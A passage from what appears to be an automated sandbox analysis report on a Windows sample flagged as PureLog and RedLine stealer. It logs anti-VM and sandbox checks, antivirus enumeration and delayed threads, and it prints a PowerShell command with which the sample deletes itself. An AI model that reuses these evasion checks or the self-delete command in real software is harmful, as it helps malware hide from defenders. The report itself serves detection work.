Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: w74ALjpS5h.exe PID: 7608, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL0SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Memory allocated: 2460000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Memory allocated: 26C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Memory allocated: 2460000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Memory allocated: 6A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Memory allocated: 7A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2760000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 28F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 48F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Window / User API: threadDelayed 1169	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 495	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2869	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3354	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2674	Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe TID: 7640	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe TID: 7640	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe TID: 7672	Thread sleep count: 1169 > 30	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe TID: 7640	Thread sleep time: -99891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe TID: 7640	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe TID: 7640	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe TID: 7612	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe TID: 7612	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe TID: 7628	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4544	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2720	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep count: 3354 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep count: 2674 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1184	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7796	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: w74ALjpS5h.exe, 00000000.00000002.2741346978.0000000002938000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: w74ALjpS5h.exe, 00000000.00000002.2740115473.0000000000882000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll@
Source: InstallUtil.exe, 00000005.00000002.2950473656.0000000005BBA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe

Code function: 0_2_0094F279 LdrInitializeThunk,

0_2_0094F279

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"			Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell" Start-Sleep -Seconds 5; Remove-Item -Path 'C:\Users\user\Desktop\w74ALjpS5h.exe' -Force			Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Queries volume information: C:\Users\user\Desktop\w74ALjpS5h.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\w74ALjpS5h.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\w74ALjpS5h.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: InstallUtil.exe, 00000005.00000002.2956663979.0000000007183000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2913161366.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.w74ALjpS5h.exe.4160890.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.43930b0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.36c9550.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.5ba0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.5ba0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.36c9550.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.43930b0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w74ALjpS5h.exe.4160890.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2785953790.0000000005BA0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2751630746.00000000036C8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2751630746.0000000003F2E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

